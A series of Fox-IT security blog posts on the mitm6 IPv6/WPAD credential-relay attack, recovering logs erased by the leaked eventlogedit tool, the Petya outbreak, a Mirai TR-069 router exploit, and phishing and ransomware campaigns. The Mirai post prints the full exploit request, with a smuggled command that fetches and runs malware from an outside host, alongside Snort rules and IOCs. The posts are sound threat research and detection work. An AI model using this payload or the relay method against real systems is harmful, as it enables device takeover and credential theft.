mitm6 – compromising IPv4 networks via IPv6

While IPv6 adoption is increasing on the internet, company networks that use IPv6 internally are quite rare. However, most companies are unaware that while IPv6 might not be actively in use, all Windows versions since Windows Vista (including server variants) have IPv6 enabled and prefer it over IPv4. In this blog, an attack is presented that abuses the default IPv6 configuration in Windows networks to spoof DNS replies by acting as a malicious DNS server and redirect traffic to an attacker specified endpoint. In the second phase of this attack, a new method is outlined to exploit the (infamous) Windows Proxy Auto Discovery (WPAD) feature in order to relay credentials and authenticate to various services within the network. The tool Fox-IT created for this is called mitm6, and is available from the Fox-IT GitHub.

IPv6 attacks

Similar to the slow IPv6 adoption, resources about abusing IPv6 are much less prevalent than those describing IPv4 pentesting techniques. While every book and course mentions things such as ARP spoofing, IPv6 is rarely touched on and the tools available to test or abuse IPv6 configurations are limited. The THC IPV6 Attack toolkit is one of the available tools, and was an inspiration for mitm6. The attack described in this blog is a partial version of the SLAAC attack, which was first described by in 2011 by Alex Waters from the Infosec institute. The SLAAC attack sets up various services to man-in-the-middle all traffic in the network by setting up a rogue IPv6 router. The setup of this attack was later automated with a tool by Neohapsis called suddensix.

The downside of the SLAAC attack is that it attempts to create an IPv6 overlay network over the existing IPv4 network for all devices present. This is hardly a desired situation in a penetration test since this rapidly destabilizes the network. Additionally the attack requires quite a few external packages and services to work. mitm6 is a tool which focusses on an easy to setup solution that selectively attacks hosts and spoofs DNS replies, while minimizing the impact on the network’s regular operation. The result is a python script which requires almost no configuration to set up, and gets the attack running in seconds. When the attack is stopped, the network reverts itself to it’s previous state within minutes due to the tweaked timeouts set in the tool.

The mitm6 attack

Attack phase 1 – Primary DNS takeover

mitm6 starts with listening on the primary interface of the attacker machine for Windows clients requesting an IPv6 configuration via DHCPv6. By default every Windows machine since Windows Vista will request this configuration regularly. This can be seen in a packet capture from Wireshark:

dhcpv6_cropped

mitm6 will reply to those DHCPv6 requests, assigning the victim an IPv6 address within the link-local range. While in an actual IPv6 network these addresses are auto-assigned by the hosts themselves and do not need to be configured by a DHCP server, this gives us the opportunity to set the attackers IP as the default IPv6 DNS server for the victims. It should be noted that mitm6 currently only targets Windows based operating systems, since other operating systems like macOS and Linux do not use DHCPv6 for DNS server assignment.

mitm6 does not advertise itself as a gateway, and thus hosts will not actually attempt to communicate with IPv6 hosts outside their local network segment or VLAN. This limits the impact on the network as mitm6 does not attempt to man-in-the-middle all traffic in the network, but instead selectively spoofs hosts (the domain which is filtered on can be specified when running mitm6).

The screenshot below shows mitm6 in action. The tool automatically detects the IP configuration of the attacker machine and replies to DHCPv6 requests sent by clients in the network with a DHCPv6 reply containing the attacker’s IP as DNS server. Optionally it will periodically send Router Advertisment (RA) messages to alert client that there is an IPv6 network in place and that clients should request an IPv6 adddress via DHCPv6. This will in some cases speed up the attack but is not required for the attack to work, making it possible to execute this attack on networks that have protection against the SLAAC attack with features such as RA Guard.

mitm6_cropped

Attack phase 2 – DNS spoofing

On the victim machine we see that our server is configured as DNS server. Due to the preference of Windows regarding IP protocols, the IPv6 DNS server will be preferred to the IPv4 DNS server. The IPv6 DNS server will be used to query both for A (IPv4) and AAAA (IPv6) records.

ipconfig_fixed

Now our next step is to get clients to connect to the attacker machine instead of the legitimate servers. Our end goal is getting the user or browser to automatically authenticate to the attacker machine, which is why we are spoofing URLs in the internal domain testsegment.local. On the screenshot in step 1 you see the client started requesting information about wpad.testsegment.local immediately after it was assigned an IPv6 address. This is the part we will be exploiting during this attack.

Exploiting WPAD

A (short) history of WPAD abuse

The Windows Proxy Auto Detection feature has been a much debated one, and one that has been abused by penetration testers for years. Its legitimate use is to automatically detect a network proxy used for connecting to the internet in corporate environments. Historically, the address of the server providing the wpad.dat file (which provides this information) would be resolved using DNS, and if no entry was returned, the address would be resolved via insecure broadcast protocols such as Link-Local Multicast Name Resolution (LLMNR). An attacker could reply to these broadcast name resolution protocols, pretend the WPAD file was located on the attackers server, and then prompt for authentication to access the WPAD file. This authentication was provided by default by Windows without requiring user interaction. This could provide the attacker with NTLM credentials from the user logged in on that computer, which could be used to authenticate to services in a process called NTLM relaying.

In 2016 however, Microsoft published a security bulletin MS16-077, which mitigated this attack by adding two important protections:
– The location of the WPAD file is no longer requested via broadcast protocols, but only via DNS.
– Authentication does not occur automatically anymore even if this is requested by the server.

While it is common to encounter machines in networks that are not fully patched and are still displaying the old behaviour of requesting WPAD via LLMNR and automatically authenticating, we come across more and more companies where exploiting WPAD the old-fashioned way does not work anymore.

Exploiting WPAD post MS16-077

The first protection, where WPAD is only requested via DNS, can be easily bypassed with mitm6. As soon as the victim machine has set the attacker as IPv6 DNS server, it will start querying for the WPAD configuration of the network. Since these DNS queries are sent to the attacker, it can just reply with its own IP address (either IPv4 or IPv6 depending on what the victim’s machine asks for). This also works if the organization is already using a WPAD file (though in this case it will break any connections from reaching the internet).

To bypass the second protection, where credentials are no longer provided by default, we need to do a little more work. When the victim requests a WPAD file we won’t request authentication, but instead provide it with a valid WPAD file where the attacker’s machine is set as a proxy. When the victim now runs any application that uses the Windows API to connect to the internet or simply starts browsing the web, it will use the attackers machine as a proxy. This works in Edge, Internet Explorer, Firefox and Chrome, since they all respect the WPAD system settings by default.
Now when the victim connects to our “proxy” server, which we can identify by the use of the CONNECT HTTP verb, or the presence of a full URI after the GET verb, we reply with a HTTP 407 Proxy Authentication required. This is different from the HTTP code normally used to request authentication, HTTP 401.
IE/Edge and Chrome (which uses IEs settings) will automatically authenticate to the proxy, even on the latest Windows versions. In Firefox this setting can be configured, but it is enabled by default.

auth-proxies_fixed

Windows will now happily send the NTLM challenge/response to the attacker, who can relay it to different services. With this relaying attack, the attacker can authenticate as the victim on services, access information on websites and shares, and if the victim has enough privileges, the attacker can even execute code on computers or even take over the entire Windows Domain. Some of the possibilities of NTLM relaying were explained in one of our previous blogs, which can be found here.

The full attack

The previous sections described the global idea behind the attack. Running the attack itself is quite straightforward. First we start mitm6, which will start replying to DHCPv6 requests and afterwards to DNS queries requesting names in the internal network. For the second part of our attack, we use our favorite relaying tool, ntlmrelayx. This tool is part of the impacket Python library by Core Security and is an improvement on the well-known smbrelayx tool, supporting several protocols to relay to. Core Security and Fox-IT recently worked together on improving ntlmrelayx, adding several new features which (among others) enable it to relay via IPv6, serve the WPAD file, automatically detect proxy requests and prompt the victim for the correct authentication. If you want to check out some of the new features, have a look at the relay-experimental branch.

To serve the WPAD file, all we need to add to the command prompt is the host is the -wh parameter and with it specify the host that the WPAD file resides on. Since mitm6 gives us control over the DNS, any non-existing hostname in the victim network will do. To make sure ntlmrelayx listens on both IPv4 and IPv6, use the -6 parameter. The screenshots below show both tools in action, mitm6 selectively spoofing DNS replies and ntlmrelayx serving the WPAD file and then relaying authentication to other servers in the network.

ntlmrelay_finalmitm6_cropped

Defenses and mitigations

The only defense against this attack that we are currently aware of is disabling IPv6 if it is not used on your internal network. This will stop Windows clients querying for a DHCPv6 server and make it impossible to take over the DNS server with the above described method.
For the WPAD exploit, the best solution is to disable the Proxy Auto detection via Group Policy. If your company uses a proxy configuration file internally (PAC file) it is recommended to explicitly configure the PAC url instead of relying on WPAD to detect it automatically.
While writing this blog, Google Project Zero also discovered vulnerabilities in WPAD, and their blog post mentions that disabling the WinHttpAutoProxySvc is the only reliable way that in their experience disabled WPAD.

Lastly, the only complete solution to prevent NTLM relaying is to disable it entirely and switch to Kerberos. If this is not possible, our last blog post on NTLM relaying mentions several mitigations to minimize the risk of relaying attacks.

Detection

The Fox-IT Security Research Team team has released Snort and Suricata signatures to detect rogue DHCPv6 traffic and WPAD replies over IPv6:

Where to get the tools

mitm6 is available from the Fox-IT GitHub. The updated version of ntlmrelayx is available from the impacket repository.

Detection and recovery of NSA’s covered up tracks

Part of the NSA cyber weapon framework DanderSpritz is eventlogedit, a piece of software capable of removing individual lines from Windows Event Log files. Now that this tool is leaked and public, any criminal willing to remove its traces on a hacked computer can use it. Fox-IT has looked at the software and found a unique way to detect the use of it and to recover the removed event log entries.

Introduction

A group known as The Shadow Brokers published a collection of software, which allegedly was part of the cyber weapon arsenal of the NSA. Part of the published software was the exploitation framework FuzzBunch and post-exploitation framework DanderSpritz. DanderSpritz is a full-blown command and control server, or listening post in NSA terms. It can be used to stealthy perform various actions on hacked computers, like finding and exfiltrating data or move laterally through the target network. Its GUI is built on Java and contains plugins written in Python. The plugins contain functionality in the framework to perform specific actions on the target machine. One specific plugin in DanderSpritz caught the eye of the Forensics & Incident Response team at Fox-IT: eventlogedit.

DanderSpritz with eventlogedit in action

Figure 1: DanderSpritz with eventlogedit in action

eventlogedit

Normally, the content of Windows Event Log files is useful for system administrators troubleshooting system performance, security teams monitoring for incidents, and forensic and incident response teams investigating a breach or fraud case. A single event record can alert the security team or be the smoking gun during an investigation. Various other artefacts found on the target system usually corroborate findings in Windows Event Log files during an investigation, but a missing event record could reduce the chances of detection of an attack, or impede investigation.

Fox-IT has encountered event log editing by attackers before, but eventlogedit appeared to be more sophisticated. Investigative methods able to spot other methods of event log manipulation were not able to show indicators of edited log files after the use of eventlogedit. Using eventlogedit, an attacker is able to remove individual event log entries from the Security, Application and System log on a target Windows system. After forensic analysis of systems where eventlogedit was used, the Forensics & Incident Response team of Fox-IT was able to create a Python script to detect the use of eventlogedit and fully recover the removed event log entries by the attacker.

Analysing recovered event records, deleted by an attacker, gives great insight into what an attacker wanted to hide and ultimately wanted to achieve. This provides security and response teams with more prevention and detection possibilities, and investigative leads during an investigation.

Before (back) and after (front) eventlogedit

Figure 2: Before (back) and after (front) eventlogedit

eventlogedit in use

Starting with Windows Vista, Windows Event Log files are stored in the Windows XML Eventlog format. The files on the disk have the file extension .evtx and are stored in the folder \Windows\System32\winevt\Logs\ on the system disk, by default. The file structure consists of a file header followed by one or more chunks. A chunk itself starts with a header followed by one or more individual event records. The event record starts with a signature, followed by record size, record number, timestamp, the actual event message, and the record size once again. The event message is encoded in a proprietary binary XML format, binXml. BinXml is a token representation of text XML.

Fox-IT discovered that when eventlogedit is used, the to-be-removed event record itself isn’t edited or removed at all: the record is only unreferenced. This is achieved by manipulation of the record header of the preceding record. Eventlogedit adds the size of the to-be-removed-record to the size of the previous record, thereby merging the two records. The removed record including its record header is now simply seen as excess data of the preceding record. In Figure 3 this is illustrated. You might think that an event viewer would show this excess or garbage data, but no. Apparently, all tested viewers parse the record binXml message data until the first end-tag and then move on to the next record. Tested viewers include Windows Event Viewer as well as various other forensic event log viewers and parsers. None of them was able to show a removed record.

Untouched event records (left) and deleted event record (right)

Figure 3: Untouched event records (left) and deleted event record (right). Note: not all field are displayed here.

Merely changing the record size would not be enough to prevent detection: various fields in the file and chunk header need to be changed. Eventlogedit makes sure that all following event records numbers are renumbered and that checksums are recalculated in both the file and chunk header. Doing so, it makes sure that obvious anomalies like missing record numbers or checksum errors are prevented and will not raise an alarm at the system user, or the security department.

Organizations which send event log records on the fly to a central log server (e.g. a SIEM), should be able to see the removed record on their server. However, an advanced attacker will most likely compromise the log server before continuing the operation on the target computer.

Recovering removed records

As eventlogedit leaves the removed record and record header in its original state, their content can be recovered. This allows the full recovery of all the data that was originally in the record, including record number, event id, timestamps, and event message.

Fox-IT’s Forensics & Incident Response department has created a Python script that finds and exports any removed event log records from an event log file. This script also works in the scenario when consecutive event records have been removed, when the first record of the file is removed, or the first record of a chunk is removed. In Figure 4 an example is shown.

Recovering removed event records

Figure 4: Recovering removed event records

We have decided to open source the script. It can be found on our GitHub and works like this:

$ python danderspritz_evtx.py -h
usage: danderspritz_evtx.py [-h] -i INPUT_PATH [-o OUTPUT_PATH]
 [-e EXPORT_PATH]

danderspritz_evtx.py - Parse evtx files and detect the use of the danderspritz
module that deletes evtx entries

optional arguments:
 -h, --help show this help message and exit
 -i INPUT_PATH, --input INPUT_PATH
 Path to evtx file
 -o OUTPUT_PATH, --output OUTPUT_PATH
 Path to corrected evtx file
 -e EXPORT_PATH, --export EXPORT_PATH
 Path to location to store exported xml records

The script requires the python-evtx library from Willi Ballenthin.

Additionally, we have created an easy to use standalone executable for Windows systems which can be found on our GitHub as well.

Danderspritz_evtx.exe

Hashes:
md5    c07f6a5b27e6db7b43a84c724a2f61be 
sha1   6d10d80cb8643d780d0f1fa84891a2447f34627c
sha256 6c0f3cd832871ba4eb0ac93e241811fd982f1804d8009d1e50af948858d75f6b

 

Recommendations

To detect if the NSA or someone else has used this to cover up his tracks using the eventlogedit tool on your systems, it is recommended to use the script on event log files from your Windows servers and computers. As the NSA very likely changed their tools after the leaks, it might be farfetched to detect their current operations with this script. But you might find traces of it in older event log files. It is recommended to run the script on archived event log files from back-ups or central log servers.

If you find traces of eventlogedit, and would like assistance in analysis and remediation for a possible breach, feel free to contact us. Our Forensics & Incident Response department during business hours or FoxCERT 24/7.

Wouter Jansen
Fox-IT Forensics & Incident Response

FAQ about PETYA/GOLDENEYE/PETR outbreak

Revision history:

  • 29th of June, 2017 18:00 (UTC +2) – Update 2 (current) – Added Q11
  • 28th of June, 2017 22:00 (UTC +2) – Update 1 – Initial FAQ

Q1 Is the Petya attack still in progress?
A: The initial attack vector appears to have been the accounting software M.E.Doc, for which a malicious software update was pushed, that was executed by clients in an automated fashion. Multiple organisations confirmed that this was their initial infection vector. After the initial infection vector Petya can utilize different kind of spreading mechanisms:

Using the EternalBlue and EternalRomance exploits, which are both exploits of the NSA that were published on the 14th of April 2017 by the Shadow Brokers. These exploits can be used to gain unauthorized access to remote Windows systems and execute malicious software with administrative privileges. Using a variety of methods, both legitimate and illegitimate. The following 4 steps are followed by the malware to spread itself:

  1. Tries to find credentials:
    • Method 1: Uses a custom tool to extract credentials from memory (code similarities with MimiKatz and accesses Windows LSASS process)
    • Method 2: Steals credentials from the credential store on the infected systems
  2. Makes an inventory of the local network for other machines. If found, it checks whether port 139 or 445 is open
  3. Checks via WebDAV whether the enumerated systems have already been infected. If this is not the case, it will transfer the malware to the other systems via SMB;
  4. Utilizes PSEXEC or WMI tools, to remotely execute the malware.

Please note that the initial infection vector of the M.E.Doc update (and a related watering hole attack on a Ukrainian website) were cleaned. However, Petya can still spread to the following networks for a limited amount of time, based on the functionality outlined above:

  1. The local network (reserved IP spaces);
  2. To remote networks of third parties that are directly connected with the networks that contain systems that are already infected with Petya.

Q2 Which attack vectors are used to enter internal networks of organizations?
A At the moment the first infection method that has been observed in the wild concerns the infected update from M.E.Doc. After initial entry into an internal network of an affected organization has been obtained, different spreading methods are used to further infect systems. These methods include the NSA exploits EternalBlue and EternalRomance in combination with harvesting and reusing passwords to perform remote command execution (with psexec and WMI) on other systems.

Q3 Are only companies affected  that use M.E.Doc?
A No, the attack initially targeted organizations that were using M.E.Doc, but the worm also spread to other (connected) organizations that were not related to M.E.Doc.

Q4 How is it possible that I became infected with Petya, while being full up to date and having all patches installed?
A: The Microsoft patch MS17-010 protects Windows systems against direct infection by the EternalBlue and EnternalRomance NSA-exploits. However, Petya includes additional methods to spread to Windows systems.

Most notably, the Petya malware can extract local Administrator and domain credentials from systems that are initially infected (for example because these systems were not patched). Subsequently, the malware can leverage these administrative credentials in combination with legitimate Microsoft tools and protocols (PSEXEC and WMI) to infect fully patched Windows systems.

Q5 How can I check if my organization is at risk for the Petya attack?
A Checking if you are at risk for this attack involves multiple actions, due to the fact that the attack itself uses different methods to propagate within networks. The following actions can be performed to identify potential vulnerable machines within the network:

  • Perform a network portscan to identify systems on which the TCP ports 139 and 445 are open. The more machines that are accessible on these ports, the more potential risk of the attack spreading to large amounts of systems within the network.
  • Perform a vulnerability scan to identify machines which are missing the MS17-010 (and the KB2871997) patch. If the patches are missing, the identified systems are vulnerable to the one of the spreading and infection methods used by the malware.
  • Perform an inventarisation of administrative credentials to identify if there are passwords shared between multiple machines. If this is the case, the systems which can be accessed using these administrative credentials are vulnerable to one of the spreading and infection methods used by the malware.
    • The most important accounts to focus on during this inventarisation are accounts with elevated privileges such as local Administrator accounts and  domain accounts with local administrator privileges.

It is important to consider that the infection, privilege escalation and lateral movement techniques used by the Petya malware are also frequently used during penetration testing on internal networks. It is therefore advised to review previous reports that followed internal penetration tests to get a quick overview of relevant vulnerabilities and to ensure that penetration tests on the internal networks are performed periodically.

Q6 We have infected machines what can we do to recover them? Should we pay the ransom?
A The email address that was used by the attackers to receive payments and release decryption keys has been blocked by the email provider. This makes it impossible for the actor(s) behind the Petya malware to confirm the payments and return the decryption keys to its victims. It is therefore not recommended to pay the ransom of $300 (or the equivalent in the Bitcoin currency) as requested by the malware authors.

Please note that after a system is infected, the malware attempts to spread before it is rebooted and the encryption process is started. Consequently, if a system is infected with Petya, but has not yet been rebooted or the fake CHKDSK process has not been completed, it may still prove possible to (partially) recover data from the infected system.

Q7 Do you know anything about the target of the Petya attack or the actors behind it?
A One of the few confirmed facts is that initially infections occurred due to an infected update from the Ukraine based company M.E.Doc. The software of this company is both broadly and mostly used by organizations in the Ukraine. These organizations within the Ukraine were thus initially targeted by the Petya attack.

This fact, combined with some of the characteristics of the attack, have led to extensive speculation in regard to the actors behind the attack (of which the grugq provides an extensive overview). However, at the moment there is no definitive public evidence to attribute the attack to a specific actor. The investigation into the purpose of the attack and the actors behind the attack are still being actively investigated by Fox-IT and many others.

Q8 How does the Petya attack differ from the Wanacry/Wannacrypt attack?
A This Petya attack seems to be more targeted than Wanacry. While WanaCry included functionality to scan for vulnerable systems on the Internet, the Petya attack primarily targets other systems within the restricted IP spaces of affected networks.
One of the few similarities between Petya and Wanacry concerns the usage of the SMB exploit EternalBlue, which is an exploit that was originally used by the NSA and was subsequently leaked by the Shadow Brokers. This is the only spreading vector of Petya which can be stopped and prevented by installing the MS17-010 patch. The other spreading vectors cannot be fully reduced by patching the systems, although installing the KB2871997 patch can reduce the impact of the other spreading vector.

In addition to EternalBlue, Petya includes further methods for spreading using lateral movement techniques such as credential re-use, PSEXEC and WMI. These techniques, which are often used in manual attacks by advanced attackers as well as during penetration tests on internal networks, have now been adapted and incorporated into an automated attack by the attackers in the Petya malware.

In regards to the encryption of the files Petya and Wanacry differ in the way that the system is rendered inoperable. Petya, in addition to encrypting individual files also encrypts critical operating system components thereby rendering the system inoperable after a reboot. The encryption of the individual files differs due to the way that the files are encrypted as well as the file types that are targeted.

Q9 I have heard rumors about an antidote or kill switch, is this true?
A Petya does not have a remote killswitch in the same way as was present in Wanacry. That is, there is no universal way to stop all Petya infections from occurring. A more limited and local way to prevent the Petya malware from spreading does exist, which is also referred to as a “killswitch” or an “antidote”.

This local antidote involves placing a file called “perfc” or “perfc.dat” in the C:\Windows directory. The reason why this works is because Petya checks if that file exists before infecting a vulnerable system. If the file exists, Petya won’t infect the system. Please note that Petya actually checks for a file with the same name as the filename that it was started from. So if the Petya file is renamed to “example.dll”, subsequent variants of that strain of the Petya malware will actually check if C:\Windows\example” exists, instead of “perfc”. It just so happens to be that “perfc” is the filename of the main variant that’s currently spreading.

Q10 Are the patches for Wanacry and Petya automatically installed by Windows Update?
A On supported operating systems the patch can be installed through the Windows update mechanism. If Windows update has been configured to update automatically, these systems should have been updated with MS17-010 several months ago. However, this is not the case on unsupported operating systems such as Windows 2003, XP and 8. Microsoft has released patches for these operating systems that need to be downloaded and applied manually.

Q11 Will Petya encrypt network drives as well?
A In the regular file encryption part of Petya, it will try and encrypt files on every disk drive available to the victim machine. Notably, it will only encrypt local hard drives, and not network drives that are mounted as a hard drive. It does this by checking which type of drive it is, and only encrypt drives that is a fixed media, for example a hard disk drive or flash drive.

Recent vulnerability in Eir D1000 Router used to spread updated version of Mirai DDoS bot

Over the last two months a lot has been written about the DDoS malware called Mirai. The first known attack, that only later was attributed to Mirai, was against the Krebs On Security blog on September 20th. It is likely that this same botnet attacked Dyn a month later, causing a massive outage among popular websites world wide.

Previous attacks:

One of the attack types that appears to be new to the scene is the use of the Generic Router Encapsulation (GRE) protocol in order to flood victims with packets. This protocol was used against Krebs, but has also been mentioned before. More specifically in a piece by Arbor Networks about an IoT botnet, attacking the networks of the Olympics in Brazil. This could be Mirai, but the first known command and control (C2) server for Mirai was not registered until 2016-09-14. So either it was a different IoT botnet, such as Linux/Fgt (by Lizardsquad) or there was a previous Mirai botnet.

Shortly after the attack against Dyn, the main botnet, using C2 server santasbigcandycane.cx, went quiet and the source code of the Mirai botnet was released:

mirai-hfSource: https://krebsonsecurity.com/2016/10/hackforums-shutters-booter-service-bazaar/

As a result of the source code becoming public, many new Mirai botnets started to appear. These botnets were a lot smaller than the original one. This is likely because the original botnet only spread by using default credentials of Telnet enabled devices and scanning the internet for them. So a limited amount of victims, most of which were likely already infected by the original botnet and because of that, blocking new infections.

Two researchers (@MalwareTechBlog & @2sec4u) created a public twitter feed tracking attacks launched by these Mirai botnets (@MiraiAttacks), so far they have identified at least 79 sub-botnets.

Recently there were claims of a bigger Mirai botnet, one that was bigger than all of the other ones combined. The operators of this botnet are selling access to this botnet and claim to have over 400.000 bots and using different spreading techniques than the original Mirai bot. The previously listed Mirai Tracker lists this botnet as ‘#14’.

Mirai botnet spreading using SOAP exploit:

A Mirai botnet using a different spreading approach than the original bot was observed by Fox-IT on Sunday. Just as the original botnet, the bots start attacking other devices on the internet in an attempt to infect them. Where the original bot uses Telnet and a set of default credentials, this version uses a recently documented SOAP exploit.

The bot is using the following POST request on TCP port 7547 to infect other devices:

----
POST /UD/act?1 HTTP/1.1
Host: 127.0.0.1:7547
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)
SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers
Content-Type: text/xml
Content-Length: 526

<?xml version="1.0"?>
<SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" 
SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> 
<SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> 
<NewNTPServer1>
cd /tmp;wget http://l.ocalhost[.]host/1;chmod 777 1;./1
</NewNTPServer1> 
<NewNTPServer2></NewNTPServer2> 
<NewNTPServer3></NewNTPServer3> 
<NewNTPServer4></NewNTPServer4> 
<NewNTPServer5></NewNTPServer5> 
</u:SetNTPServers> 
</SOAP-ENV:Body></SOAP-ENV:Envelope>
----

A write-up on how this exploit works is provided by ‘Kenzo2017’ in his blogpost. The exploit is located in the implementation of a service that allows ISPs to configure and modify settings of specific modems using the TR-069 protocol. One of those settings allows, by mistake, the execution of Busybox commands such as wget to download malware. BusyBox is software that provides several stripped-down Unix tools in a single executable file.

In the exploit code you can see that the protocol allows for the ISP to set the NTP-servers which the modems should use, but rather than entering an IP or a hostname, a bash/busybox command is given:

`cd /tmp;wget http://l.ocalhost[.]host/1;chmod 777 1;./1`

We can break this command up in multiple parts:

– ‘wget’ is used to retrieve the malware from http://l.ocalhost[.]host.
– ‘chmod 777 1’ makes the file executable.
– ‘./1’ executes the malware on the system.

So could this be the Botnet #14, where the authors are boasting 400k infections?
This is possible, but for now difficult to verify. What we do know is that these management interfaces for modems are being exposed at various internet service providers around the world. In Germany this has lead to big problems for Deutsche Telecom, where an attacker disabled the internet for 900.000 modems, possibly using the same vulnerability. For now it is unclear if there was an attempt to load Mirai on these devices, or whether this is an unrelated attack.

This is likely not the last we will be seeing of Mirai and its successors. New spreading mechanisms and DDoS attack methods are being added in this gold rush for new victims, something we outlined more high level in a previous blog post.
Fox-IT is observing this botnet for future activity and possible victims of its DDoS attacks.

Mitigation:

  • ISPs should configure the modems to only allow connections to their management interfaces from the ISPs own management network, not the whole world.
  • Users could replace these modems if possible with their own, better secured devices.
  • Contact the ISP and vendor of the modems for patches that might resolve the vulnerability.

IOCs:

Hash: c723eebacfc8b845efbcc33c43dd3567dd026b1d (MIPS)
Hash: f37d2f6ff24429db2fc83434e663042c2667fa41 (ARM)

Hostname: l.ocalhost[.]host (download location)
Hostname: timeserver[.]host (c2 server)

New download location observed in Fox-IT honeypots:
Hostname: tr069[.]pw (download location)
Hostnane: p.ocalhost[.]host (download location)
IP: 5.8.65[.]5 (download location)

The following Snort IDS rule can be used to detect spreading attempts against your network:

alert tcp $EXTERNAL_NET any -> $HOME_NET 7547 (msg:”FOX-SRT – Exploit – TR-069 SOAP RCE NewNTPServer exploit incoming”; flow:established,to_server; content:”POST”; depth:4; content:”/UD/act?1″; content:”urn:dslforum-org:service:Time:1#SetNTPServers”; threshold: type limit, track by_dst, count 1, seconds 60; classtype:attempted-admin; reference:url,blog.fox-it.com/2016/11/28/recent-vulnerability-in-eir-d1000-router-used-to-spread-updated-version-of-mirai-ddos-bot; sid:1; rev:1;)

By changing the HOME_NET and EXTERNAL_NET in this rule, it can be used to detect clients within your network attacking hosts on the internet:

alert tcp $HOME_NET any -> $EXTERNAL_NET 7547 (msg:”FOX-SRT – Exploit – TR-069 SOAP RCE NewNTPServer exploit outgoing”; flow:established,to_server; content:”POST”; depth:4; content:”/UD/act?1″; content:”urn:dslforum-org:service:Time:1#SetNTPServers”; threshold: type limit, track by_src, count 1, seconds 60; classtype:attempted-admin; reference:url,blog.fox-it.com/2016/11/28/recent-vulnerability-in-eir-d1000-router-used-to-spread-updated-version-of-mirai-ddos-bot; sid:2; rev:1;)

These Snort rules can also be found on our Github.

Ziggo ransomware phishing campaign still increasing in size

Introduction

Fox-IT’s Security Operations Center (SOC) observed fake Ziggo invoice e-mails, since October 6th 2016, linking to a ransomware variant known as TorrentLocker.

The group behind TorrentLocker has previously been observed using fake Dutch postal service emails imitating PostNL, back in 2014.  This distribution method of abusing local postal service names was seen in a lot of countries where this threat was active. This was also documented in CERT PL’s report ‘Going Postal’ published last year. After continuous takedowns of the fake invoice domains with the help of Abuse.CH, the group seized their activities in the Netherlands, near the end of 2014, but continued in several other countries around the world.

The switch from using fake track and trace e-mail messages from postal services (from 2014 till 2016), to using fake invoices from a local Dutch ISP known as Ziggo, is an interesting switch in the modus operandi of the group behind TorrentLocker.

The reach of this e-mail campaign is rapidly increasing as a result of TorrentLocker stealing the address books from its victims to expand its list of new targets. Every successful infection increases the reach of the malicious e-mail campaign significantly. 

Current phishing e-mail

The e-mail below is an example of the phishing e-mail, which mimics the real Ziggo invoice e-mails:

Example of Ziggo phishing e-mail

The e-mail above contains a link to a fake Ziggo page that will force the user to download a ZIP file with the supposed invoice inside. The ZIP file contains a JavaScript file which will, when executed by the victim, download the TorrentLocker ransomware from a compromised WordPress website. When the victim’s data is encrypted, TorrentLocker shows the screen below, still using the name ‘Crypt0L0cker’, as seen 2 years ago:

TorrentLocker lock screen

Indicators of compromise

Currently (October 6th 2016) active campaign distribution domain:

  • ziggo-online23.org / 212.92.97.28

Other Ziggo domains used in previous e-mail campaigns:

  • ziggo-online23.org
  • ziggo-online12.com
  • ziggo-online247.net
  • ziggo-online24.net
  • ziggo-online24.org
  • ziggo-factuur84.org
  • ziggo-factuur23.org

All domains registered by the group behind TorrentLocker are registered at REG.RU. With the continued effort of AbuseCH we have been taking down these domains as soon as they appear.

TorrentLocker initially communicates via SSL to several IPs to reach its command and control server. The current IP being used for this communication is:

  • 185.40.152.22

The certificate used for this SSL connection typically contains the following static information (more sample and information for these SSL certificates can be found on AbuseCH’s SSL Blacklist):

  • C=US, ST=Denial, L=Springfield, O=Dis

After the initial SSL connection, all other network communication is ran through Tor. Files encrypted by TorrentLocker will be appended by the ‘.enc’ extension. More details on the prevention of ransomware can be found in our earlier TorrentLocker blog: New Torrentlocker variant active in the Netherlands.

Mofang: A politically motivated information stealing adversary

mofang_cover_imageMofang (模仿, Mófa ̌ng, to imitate) is a threat actor that almost certainly operates out of China and is probably government-affiliated. It is highly likely that Mofang’s targets are selected based on involvement with investments, or technological advances that could be perceived as a threat to the Chinese sphere of influence. This is most clearly the case in a campaign focusing on government and critical infrastructure of Myanmar that is described in this report. Chances are about even, though, that Mofang is a relevant threat actor to any organization that invests in Myanmar or is otherwise politically involved. In addition to the campaign in Myanmar, Mofang has been observed to attack targets across multiple sectors (government, military, critical infrastructure and the automotive and weapon industries) in multiple countries.

The following countries have, in the above named sectors, been affected, although Fox-IT suspects there to be more: India, Germany, United States, Canada, Singapore, South Korea.

mofang_targetedcountries_image

Despite its diverse set of targets Mofang is probably one group. This is based on the fact that its tools (ShimRat and ShimRatReporter) are not widely used, and that campaigns are not usually observed in parallel. Technically, the group uses distinct tools that date back to at least February 2012: ShimRat and ShimRatReporter. The mofang group does not use exploits to infect targets, they rely on social engineering and their attacks are carried out in three stages:

  1. Compromise for reconnaissance, aiming to extract key information about the target infrastructure.
  2. Faux infrastructure setup, designed to avoid attracting attention.
  3. The main compromise, to carry out actions on the objective.

The name ShimRat is based on how its persistence is build up. It uses the so-called shims in Windows to become persistent. Shims are simply hot patching processes on the fly, to ensure backward compatibility of software on the Microsoft Windows platform.

As far as known, the only exploits the Mofang group uses are privilege elevation exploits built into their own malware. The vulnerabilities that were being exploited were already known about at the time of use. The full report contains contextual as well as technical information about the group and its activities. These can be used, for example, for threat assessments, compromise assessments, incident response and forensics activities.

Download ‘Mofang – a politically motivated information stealing adversary’

LinkedIn information used to spread banking malware in the Netherlands

Since early this morning (7th of June 2016, around 08:30 AM) the Fox-IT Security Operations Center started detecting a large amount of phishing e-mails containing a malicious Word document. This e-mail campaign appears to be targeting the Netherlands, using Dutch text in both the e-mail and Word document. The content of the e-mail:

Geachte Firstname Lastname,
RoleCompany
Wij schrijven u in verband met de factuur met nummer 014321463. De nota staat open sinds 9-jun-16. Het openstaande bedrag is 2,487.50 Euro. Vriendelijk verzoeken wij u het openstaande bedrag te betalen.
Betaling graag zo spoedig mogelijk.
Met vriendelijke groet,
A.E. De Kuiper, BEEREJAN HOLDING BV. Faisantenstraat 53 Hilversum 1211 PT Tel. +31180647000 Fax. +31294484970

The first name, last name, role and company name are all values that are taken from the LinkedIn page of the receiver of the phishing mail, giving the e-mail a very personalized look.

